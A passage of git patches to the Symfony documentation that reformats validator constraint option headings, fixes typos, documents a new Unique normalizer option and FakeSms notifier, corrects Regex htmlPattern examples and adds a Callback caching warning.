 .. include:: /reference/constraints/_payload-option.rst.inc
 
-requireHyphen
-~~~~~~~~~~~~~
+``requireHyphen``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` default: ``false``
 
diff --git a/reference/constraints/Json.rst b/reference/constraints/Json.rst
index 6e8318077da..8eafb6c4de6 100644
--- a/reference/constraints/Json.rst
+++ b/reference/constraints/Json.rst
@@ -82,8 +82,8 @@ The ``Json`` constraint can be applied to a property or a "getter" method:
 Options
 -------
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be valid JSON.``
 
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 7e790efeee7..0d0fe42486d 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -114,8 +114,8 @@ and ``50``, you might add the following:
 Options
 -------
 
-allowEmptyString
-~~~~~~~~~~~~~~~~
+``allowEmptyString``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean``  **default**: ``true``
 
@@ -132,8 +132,8 @@ valid.
 
     This option does not have any effect when no minimum length is given.
 
-charset
-~~~~~~~
+``charset``
+~~~~~~~~~~~
 
 **type**: ``string``  **default**: ``UTF-8``
 
@@ -141,8 +141,8 @@ The charset to be used when computing value's length with the
 :phpfunction:`mb_check_encoding` and :phpfunction:`mb_strlen`
 PHP functions.
 
-charsetMessage
-~~~~~~~~~~~~~~
+``charsetMessage``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value does not match the expected {{ charset }} charset.``
 
@@ -176,8 +176,8 @@ Parameter          Description
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -186,8 +186,8 @@ the given value's length is **greater** than this max value.
 
 This option is required when the ``min`` option is not defined.
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is too long. It should have {{ limit }} characters or less.``
 
@@ -203,8 +203,8 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -217,8 +217,8 @@ It is important to notice that NULL values and empty strings are considered
 valid no matter if the constraint required a minimum length. Validators
 are triggered only if the value is not blank.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is too short. It should have {{ limit }} characters or more.``
 
diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index d7f16293b3a..d3d2dc8225d 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -89,8 +89,8 @@ Basic Usage
 Options
 -------
 
-canonicalize
-~~~~~~~~~~~~
+``canonicalize``
+~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst
index 4e3edee87f2..f9850ba8da2 100644
--- a/reference/constraints/Negative.rst
+++ b/reference/constraints/Negative.rst
@@ -85,8 +85,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be negative.``
 
diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst
index 5a77a36ab67..a10bb15ba6a 100644
--- a/reference/constraints/NegativeOrZero.rst
+++ b/reference/constraints/NegativeOrZero.rst
@@ -84,8 +84,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be either negative or zero.``
 
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index 342293b2394..16e07a3ae0b 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -82,8 +82,8 @@ class were not blank, you could do the following:
 Options
 -------
 
-allowNull
-~~~~~~~~~
+``allowNull``
+~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/constraints/NotCompromisedPassword.rst b/reference/constraints/NotCompromisedPassword.rst
index 1eded1463f9..28fd604298c 100644
--- a/reference/constraints/NotCompromisedPassword.rst
+++ b/reference/constraints/NotCompromisedPassword.rst
@@ -106,8 +106,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This password has been leaked in a data breach, it must not be used. Please use another password.``
 
@@ -115,8 +115,8 @@ The default message supplied when the password has been compromised.
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-skipOnError
-~~~~~~~~~~~
+``skipOnError``
+~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -124,8 +124,8 @@ When the HTTP request made to the ``haveibeenpwned.com`` API fails for any
 reason, an exception is thrown (no validation error is displayed). Set this
 option to ``true`` to not throw the exception and consider the password valid.
 
-threshold
-~~~~~~~~~
+``threshold``
+~~~~~~~~~~~~~
 
 **type**: ``integer`` **default**: ``1``
 
diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst
index bfed77a763c..d5e78ba387f 100644
--- a/reference/constraints/Positive.rst
+++ b/reference/constraints/Positive.rst
@@ -86,8 +86,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be positive.``
 
diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst
index cc592f824c6..c2724c89753 100644
--- a/reference/constraints/PositiveOrZero.rst
+++ b/reference/constraints/PositiveOrZero.rst
@@ -84,8 +84,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be either positive or zero.``
 
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index d07bc0445f4..5c148c78b0f 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -316,8 +316,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-invalidMessage
-~~~~~~~~~~~~~~
+``invalidMessage``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be a valid number.``
 
@@ -332,16 +332,16 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``number`` or ``string`` (date format)
 
 This required option is the "max" value. Validation will fail if the given
 value is **greater** than this max value.
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be {{ limit }} or less.``
 
@@ -358,8 +358,8 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-maxPropertyPath
-~~~~~~~~~~~~~~~
+``maxPropertyPath``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string``
 
@@ -380,16 +380,16 @@ with regard to the ``$deadline`` property of the same object, use
     include it in the error messages displayed to end users, it's useful when
     using APIs for doing any mapping logic on client-side.
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``number`` or ``string`` (date format)
 
 This required option is the "min" value. Validation will fail if the given
 value is **less** than this min value.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be {{ limit }} or more.``
 
@@ -406,8 +406,8 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-minPropertyPath
-~~~~~~~~~~~~~~~
+``minPropertyPath``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string``
 
@@ -428,8 +428,8 @@ with regard to the ``$startDate`` property of the same object, use
     include it in the error messages displayed to end users, it's useful when
     using APIs for doing any mapping logic on client-side.
 
-notInRangeMessage
-~~~~~~~~~~~~~~~~~
+``notInRangeMessage``
+~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be between {{ min }} and {{ max }}.``
 
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index d7e3c8f2ebd..02a5ea8f407 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -167,8 +167,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-htmlPattern
-~~~~~~~~~~~
+``htmlPattern``
+~~~~~~~~~~~~~~~
 
 **type**: ``string|boolean`` **default**: null
 
@@ -252,8 +252,8 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
 
 Setting ``htmlPattern`` to false will disable client side validation.
 
-match
-~~~~~
+``match``
+~~~~~~~~~
 
 **type**: ``boolean`` default: ``true``
 
@@ -262,8 +262,8 @@ the given `pattern`_ regular expression. However, when this option is set
 to ``false``, the opposite will occur: validation will pass only if the
 given string does **not** match the `pattern`_ regular expression.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not valid.``
 
@@ -277,8 +277,8 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-pattern
-~~~~~~~
+``pattern``
+~~~~~~~~~~~
 
 **type**: ``string`` [:ref:`default option <validation-default-option>`]
 
diff --git a/reference/constraints/Timezone.rst b/reference/constraints/Timezone.rst
index c5f27e1cbfb..3725038f0d8 100644
--- a/reference/constraints/Timezone.rst
+++ b/reference/constraints/Timezone.rst
@@ -86,8 +86,8 @@ string which contains any of the `PHP timezone identifiers`_ (e.g. ``America/New
 Options
 -------
 
-countryCode
-~~~~~~~~~~~
+``countryCode``
+~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -100,8 +100,8 @@ The value of this option must be a valid `ISO 3166-1 alpha-2`_ country code
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-intlCompatible
-~~~~~~~~~~~~~~
+``intlCompatible``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -114,8 +114,8 @@ timezones provided by PHP's Intl extension (because they use different ICU
 versions). If this option is set to ``true``, this constraint only considers
 valid the values compatible with the PHP ``\IntlTimeZone::createTimeZone()`` method.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid timezone.``
 
@@ -131,8 +131,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-zone
-~~~~
+``zone``
+~~~~~~~~
 
 **type**: ``string`` **default**: ``\DateTimeZone::ALL``
 
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 307b7565749..17ee98fec78 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -155,8 +155,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be of type {{ type }}.``
 
@@ -175,8 +175,8 @@ Parameter        Description
 
 .. _reference-constraint-type-type:
 
-type
-~~~~
+``type``
+~~~~~~~~
 
 **type**: ``string`` or ``array`` [:ref:`default option <validation-default-option>`]
 
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index e6acb08ea71..9d9cc0ffed2 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -94,8 +94,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain only unique elements.``
 
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index ca0a0be28c6..f96d6d91b47 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -140,8 +140,8 @@ the uniqueness. If it's left blank, the correct entity manager will be
 determined for this class. For that reason, this option should probably
 not need to be used.
 
-entityClass
-~~~~~~~~~~~
+``entityClass``
+~~~~~~~~~~~~~~~
 
 **type**: ``string``
 
@@ -151,8 +151,8 @@ inheritance mapping, you need to execute the query in a different repository.
 Use this option to define the fully-qualified class name (FQCN) of the Doctrine
 entity associated with the repository you want to use.
 
-errorPath
-~~~~~~~~~
+``errorPath``
+~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: The name of the first field in `fields`_
 
@@ -249,8 +249,8 @@ Consider this example:
 
 Now, the message would be bound to the ``port`` field with this configuration.
 
-fields
-~~~~~~
+``fields``
+~~~~~~~~~~
 
 **type**: ``array`` | ``string`` [:ref:`default option <validation-default-option>`]
 
@@ -266,8 +266,8 @@ each with a single field.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-ignoreNull
-~~~~~~~~~~
+``ignoreNull``
+~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -276,8 +276,8 @@ entities to have a ``null`` value for a field without failing validation.
 If set to ``false``, only one ``null`` value is allowed - if a second entity
 also has a ``null`` value, validation would fail.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is already used.``
 
@@ -300,8 +300,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-repositoryMethod
-~~~~~~~~~~~~~~~~
+``repositoryMethod``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``findBy``
 
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 4c9885d0147..ac230890a9a 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -81,8 +81,8 @@ Basic Usage
 Options
 -------
 
-checkDNS
-~~~~~~~~
+``checkDNS``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -163,8 +163,8 @@ option to the value of any of the ``CHECK_DNS_TYPE_*`` constants in the
 This option uses the :phpfunction:`checkdnsrr` PHP function to check the validity
 of the DNS record corresponding to the host associated with the given URL.
 
-dnsMessage
-~~~~~~~~~~
+``dnsMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The host could not be resolved.``
 
@@ -242,8 +242,8 @@ DNS check failed.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid URL.``
 
@@ -324,8 +324,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-protocols
-~~~~~~~~~
+``protocols``
+~~~~~~~~~~~~~
 
 **type**: ``array`` **default**: ``['http', 'https']``
 
@@ -399,8 +399,8 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing
             }
         }
 
-relativeProtocol
-~~~~~~~~~~~~~~~~
+``relativeProtocol``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index 1cb992128ac..edd282fa53b 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -250,8 +250,8 @@ Options
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-traverse
-~~~~~~~~
+``traverse``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
diff --git a/reference/constraints/_normalizer-option.rst.inc b/reference/constraints/_normalizer-option.rst.inc
index 784f915ff95..dcbba1c2da8 100644
--- a/reference/constraints/_normalizer-option.rst.inc
+++ b/reference/constraints/_normalizer-option.rst.inc
@@ -1,5 +1,5 @@
-normalizer
-~~~~~~~~~~
+``normalizer``
+~~~~~~~~~~~~~~
 
 **type**: a `PHP callable`_ **default**: ``null``
 

From c610653de3785f1e7578bf06c5b32cd234742147 Mon Sep 17 00:00:00 2001
From: Chris Maiden <chrispmaiden@gmail.com>
Date: Thu, 25 Mar 2021 11:14:31 +0000
Subject: [PATCH 1986/7107] Fix typo

---
 frontend/encore/versioning.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/versioning.rst b/frontend/encore/versioning.rst
index 0911f8d8cc3..ecea440ec75 100644
--- a/frontend/encore/versioning.rst
+++ b/frontend/encore/versioning.rst
@@ -7,7 +7,7 @@ Tired of deploying and having browser's cache the old version of your assets?
 By calling ``enableVersioning()``, each filename will now include a hash that
 changes whenever the *contents* of that file change (e.g. ``app.123abc.js``
 instead of ``app.js``). This allows you to use aggressive caching strategies
-(e.g. a far future ``Expires``) because, whenever a file change, its hash will change,
+(e.g. a far future ``Expires``) because, whenever a file changes, its hash will change,
 ignoring any existing cache:
 
 .. code-block:: diff

From 04b203118081c7714687031f3f5e9f70142a0b69 Mon Sep 17 00:00:00 2001
From: Chris Maiden <chrispmaiden@gmail.com>
Date: Thu, 25 Mar 2021 14:11:06 +0000
Subject: [PATCH 1987/7107] [CssSelector] Grammatical fix

---
 components/css_selector.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/css_selector.rst b/components/css_selector.rst
index c8100793ab4..be68d1801ed 100644
--- a/components/css_selector.rst
+++ b/components/css_selector.rst
@@ -25,8 +25,8 @@ Usage
     component in any PHP application. Read the :ref:`Symfony Functional Tests <functional-tests>`
     article to learn about how to use it when creating Symfony tests.
 
-Why to Use CSS selectors?
-~~~~~~~~~~~~~~~~~~~~~~~~~
+Why Use CSS selectors?
+~~~~~~~~~~~~~~~~~~~~~~
 
 When you're parsing an HTML or an XML document, by far the most powerful
 method is `XPath`_.

From 92072d936ca519203685c3eb1ace602adff68ad6 Mon Sep 17 00:00:00 2001
From: Andrii Popov <popov256@gmail.com>
Date: Fri, 19 Mar 2021 09:03:37 +0200
Subject: [PATCH 1988/7107] [Validator] Add normalizer option to Unique
 constraint

---
 reference/constraints/Unique.rst | 24 ++++++++++++++++++++++--
 1 file changed, 22 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index eb7b4727491..f673d2d817b 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -2,8 +2,9 @@ Unique
 ======
 
 Validates that all the elements of the given collection are unique (none of them
-is present more than once). Elements are compared strictly, so ``'7'`` and ``7``
-are considered different elements (a string and an integer, respectively).
+is present more than once). By default elements are compared strictly,
+so ``'7'`` and ``7`` are considered different elements (a string and an integer, respectively).
+If you want any other comparison logic to be applied, use the `normalizer`_ option.
 
 .. seealso::
 
@@ -21,6 +22,7 @@ are considered different elements (a string and an integer, respectively).
 Applies to  :ref:`property or method <validation-property-target>`
 Options     - `groups`_
             - `message`_
+            - `normalizer`_
             - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Unique`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UniqueValidator`
@@ -123,4 +125,22 @@ Parameter                      Description
 ``{{ value }}``                The current (invalid) value
 =============================  ================================================
 
+``normalizer``
+~~~~~~~~~~~~~~
+
+**type**: a `PHP callable`_ **default**: ``null``
+
+.. versionadded:: 5.3
+
+    The ``normalizer`` option was introduced in Symfony 5.3.
+
+This option allows to define the PHP callable applied to each element of the given collection before
+checking if the collection is valid.
+
+For example, you may want to pass the ``'trim'`` string to apply the
+:phpfunction:`trim` PHP function to each element of the collection in order to ignore leading and trailing
+whitespace during validation.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`PHP callable`: https://www.php.net/callable

From 3862669e610854ea302c5859f8755f563741dedf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 27 Mar 2021 20:03:16 +0100
Subject: [PATCH 1989/7107] Minor tweaks

---
 reference/constraints/Unique.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 3be82ed5da5..6b6d363acf1 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -4,7 +4,7 @@ Unique
 Validates that all the elements of the given collection are unique (none of them
 is present more than once). By default elements are compared strictly,
 so ``'7'`` and ``7`` are considered different elements (a string and an integer, respectively).
-If you want any other comparison logic to be applied, use the `normalizer`_ option.
+If you want to apply any other comparison logic, use the `normalizer`_ option.
 
 .. seealso::
 
@@ -134,12 +134,12 @@ Parameter                      Description
 
     The ``normalizer`` option was introduced in Symfony 5.3.
 
-This option allows to define the PHP callable applied to each element of the given collection before
-checking if the collection is valid.
+This option defined the PHP callable applied to each element of the given
+collection before checking if the collection is valid.
 
-For example, you may want to pass the ``'trim'`` string to apply the
-:phpfunction:`trim` PHP function to each element of the collection in order to ignore leading and trailing
-whitespace during validation.
+For example, you can pass the ``'trim'`` string to apply the :phpfunction:`trim`
+PHP function to each element of the collection in order to ignore leading and
+trailing whitespace during validation.
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 

From a6874e68d8710a01239b99e3499d3c127fed290a Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 28 Mar 2021 11:37:53 +0200
Subject: [PATCH 1990/7107] [Finder] Fix typo

---
 components/finder.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/finder.rst b/components/finder.rst
index f799208558e..6952685b64f 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -214,7 +214,7 @@ Use the forward slash (i.e. ``/``) as the directory separator on all platforms,
 including Windows. The component makes the necessary conversion internally.
 
 The ``path()`` method accepts a string, a regular expression or an array of
-strings or regulars expressions::
+strings or regular expressions::
 
     $finder->path('foo/bar');
     $finder->path('/^foo\/bar/');

From 337e25169c2a369e2a102144c3d5d11a02f3259b Mon Sep 17 00:00:00 2001
From: James Hemery <james@yieldstudio.fr>
Date: Sat, 23 Jan 2021 02:35:30 +0100
Subject: [PATCH 1991/7107] [Notifier] [FakeSms] Add the bridge

---
 notifier.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 023361051c2..72afd815ac3 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,6 +59,7 @@ Service     Package                           DSN
 AllMySms    ``symfony/allmysms-notifier``     ``allmysms://LOGIN:APIKEY@default?from=FROM``
 Clickatell  ``symfony/clickatell-notifier``   ``clickatell://ACCESS_TOKEN@default?from=FROM``
 Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
+FakeSms     ``symfony/fake-sms-notifier``     ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM``
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
 GatewayApi  ``symfony/gatewayapi-notifier``   ``gatewayapi://TOKEN@default?from=FROM``
 Infobip     ``symfony/infobip-notifier``      ``infobip://AUTH_TOKEN@HOST?from=FROM``
@@ -84,9 +85,8 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell and SpotHit integrations
-    were introduced in Symfony 5.3.
-
+    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit and FakeSms
+    integrations were introduced in Symfony 5.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 687199ee2bb22b4decbec8e8c1f7f4b4730d9de3 Mon Sep 17 00:00:00 2001
From: Guillaume Sarramegna <13528732+sarramegnag@users.noreply.github.com>
Date: Tue, 30 Mar 2021 19:06:41 +0200
Subject: [PATCH 1992/7107] Standardize built-in normalizers lists

---
 components/serializer.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index f2c3285a33b..84c8ecb8a36 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -782,6 +782,9 @@ The Serializer component provides several built-in normalizers:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
     Normalizes errors according to the API Problem spec `RFC 7807`_.
 
+:class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer`
+    Normalizes a PHP object using an object that implements :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`.
+
 .. note::
 
     You can also create your own Normalizer to use another structure. Read more at

From 3f33c81da2b1d3330d353c86af52aba5789bb205 Mon Sep 17 00:00:00 2001
From: Guilliam Xavier <guilliamxavier@users.noreply.github.com>
Date: Wed, 31 Mar 2021 11:36:34 +0200
Subject: [PATCH 1993/7107] [Validator] Fix Regex htmlPattern examples

---
 reference/constraints/Regex.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 02a5ea8f407..c3b9a9bd5c6 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -175,12 +175,12 @@ Options
 This option specifies the pattern to use in the HTML5 ``pattern`` attribute.
 You usually don't need to specify this option because by default, the constraint
 will convert the pattern given in the `pattern`_ option into an HTML5 compatible
-pattern. This means that the delimiters are removed (e.g. ``/[a-z]+/`` becomes
-``[a-z]+``).
+pattern. Notably, the delimiters are removed and the anchors are implicit (e.g.
+``/^[a-z]+$/`` becomes ``[a-z]+``, and ``/[a-z]+/`` becomes ``.*[a-z]+.*``).
 
 However, there are some other incompatibilities between both patterns which
 cannot be fixed by the constraint. For instance, the HTML5 ``pattern`` attribute
-does not support flags. If you have a pattern like ``/[a-z]+/i``, you
+does not support flags. If you have a pattern like ``/^[a-z]+$/i``, you
 need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
 
 .. configuration-block::
@@ -197,7 +197,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
             /**
              * @Assert\Regex(
              *     pattern     = "/^[a-z]+$/i",
-             *     htmlPattern = "^[a-zA-Z]+$"
+             *     htmlPattern = "[a-zA-Z]+"
              * )
              */
             protected $name;
@@ -211,7 +211,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
                 name:
                     - Regex:
                         pattern: '/^[a-z]+$/i'
-                        htmlPattern: '^[a-zA-Z]+$'
+                        htmlPattern: '[a-zA-Z]+'
 
     .. code-block:: xml
 
@@ -225,7 +225,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
                 <property name="name">
                     <constraint name="Regex">
                         <option name="pattern">/^[a-z]+$/i</option>
-                        <option name="htmlPattern">^[a-zA-Z]+$</option>
+                        <option name="htmlPattern">[a-zA-Z]+</option>
                     </constraint>
                 </property>
             </class>
@@ -245,7 +245,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
             {
                 $metadata->addPropertyConstraint('name', new Assert\Regex([
                     'pattern' => '/^[a-z]+$/i',
-                    'htmlPattern' => '^[a-zA-Z]+$',
+                    'htmlPattern' => '[a-zA-Z]+',
                 ]));
             }
         }

From ebddb78293a7901799d6aeba24d80f42301c13fa Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 31 Mar 2021 09:24:36 +0200
Subject: [PATCH 1994/7107] [Validator] Add warning about closure not being
 cachable

---
 reference/constraints/Callback.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 6985f3953e1..65a63235a73 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -251,6 +251,13 @@ constructor of the Callback constraint::
         }
     }
 
+.. warning::
+
+    Using a ``Closure`` together with annotation configuration will disable the
+    annotation cache for that class/property/methods because ``Closure``s cannot
+    be cached. For best performance, it is recommended to use a static callback
+    method.
+
 Options
 -------
 

From f57055d5e95f79ee49c604ed3bd273070f773e91 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 31 Mar 2021 13:17:07 +0200
Subject: [PATCH 1995/7107] Minor tweak

---
 reference/constraints/Callback.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 65a63235a73..c917bf93412 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -254,9 +254,8 @@ constructor of the Callback constraint::
 .. warning::
 
     Using a ``Closure`` together with annotation configuration will disable the
-    annotation cache for that class/property/methods because ``Closure``s cannot
-    be cached. For best performance, it is recommended to use a static callback
-    method.
+    annotation cache for that class/property/method because ``Closure`` cannot
+    be cached. For best performance, it's recommended to use a static callback method.
 
 Options
 -------

From bf9e574c1ad2a0507639eee8a6285bf5f1776b15 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 31 Mar 2021 18:18:21 +0200
Subject: [PATCH 1996/7107] Rewording Priority Parameter

Important part: Explaining how to do it in YAML and XML, to make clear that `priority` is not *limited* to annotations/attributes - but simply not necessary in YAML/XML :-)
Closes https://github.com/symfony/symfony-docs/issues/13367
---
 routing.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index bf971924311..97df5e57787 100644
--- a/routing.rst
+++ b/routing.rst
@@ -997,11 +997,10 @@ Priority Parameter
 
     The ``priority`` parameter was introduced in Symfony 5.1
 
